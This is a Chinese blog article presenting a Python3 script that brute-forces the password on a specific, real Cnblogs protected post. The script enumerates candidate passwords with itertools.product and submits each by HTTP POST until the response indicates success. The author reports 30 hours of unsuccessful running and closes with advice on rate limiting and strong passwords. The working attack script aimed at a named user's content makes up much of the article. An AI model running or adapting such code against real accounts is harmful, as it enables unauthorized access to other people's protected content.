Python3实现博客园密码暴力破解:原理与代码解析
本文介绍使用Python3编写针对博客园博文密码保护的暴力破解工具。通过itertools生成密码组合,利用requests库提交请求,并配合tqdm显示进度。测试表明该工具每秒仅能提交约6次请求,运行30小时未破解成功,旨在提醒开发者加强密码验证机制。
作者原计划开发路由器密码的暴力破解工具,但鉴于极路由存在安全限制(连续10次错误密码即锁定),遂转而选择博客园作为测试目标。
博客园提供博文密码保护功能,用户需输入正确密码方可查看内容。经测试,该验证机制未设置验证码,也未对提交频率进行限制。
针对博客园设计的密码破解模型结构简单,易于实现。
例如,访问受保护的博文链接(如:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html)时,页面会显示一个密码输入框。
作者此前未编写过此类程序,也未参考现有代码,而是基于个人理解设计了一个最简化的密码破解器,未采用多线程或分布式架构。
该程序主要包含两个核心部分:
1、需要一个密码生成器,持续生成所有可能的密码组合,例如生成a, b, c, aa, bb, cc, ab, ac...abc, cba...abcd等所有排列组合。
2、需要持续提交密码,直到判定密码正确,记录结果并退出程序。
为何选择使用生成器?
在Python2中,range()函数并非生成器。当range(N)中的N为极大数值时,Python内存会因尝试构建完整列表而耗尽(即“爆炸”)。
撰写详细的分析文章耗时耗力,此处省略具体推导过程,直接提供代码。若对代码有疑问,可查阅相关关键词的基础教程,此类资源非常丰富。
代码中使用了tqdm库用于显示Python进度条,以及requests库作为简洁优雅的HTTP处理工具。
product是Python3标准库itertools下的函数,可生成如(a,b,c...)或(c,b,a...)这样的序列,通过''.join()连接即可得到“abc”形式的密码字符串。
"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post
#密码生成器
def psgen(x=4):
iter = ['1234567890',
'abcdefghijklmnopqrstuvwxyz',
'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
]
for r in iter:
for repeat in range(1,x+1):
for ps in product(r,repeat=repeat):
yield ''.join(ps)
def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
url = url.replace("/post/readauth?url=", "")
for ps in tqdm(psgen(6)):
try:
rs=post(url,data={'tb_password':ps},allow_redirects=1)
if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
with open("resut.csv","a+") as f:
f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
break
except:
sleep(1)
pass
url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)
该程序运行速度约为每秒提交6次密码。作者运行了30小时,迭代次数仅数十万次,未能破解出密码,未造成实质性危害。
总结:
1、在密码验证环节,应适当增加防止暴力破解的安全措施。
2、使用复杂密码仍能有效提升安全等级。尽管此类简单程序的实际危害有限,但安全加固仍有必要。
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













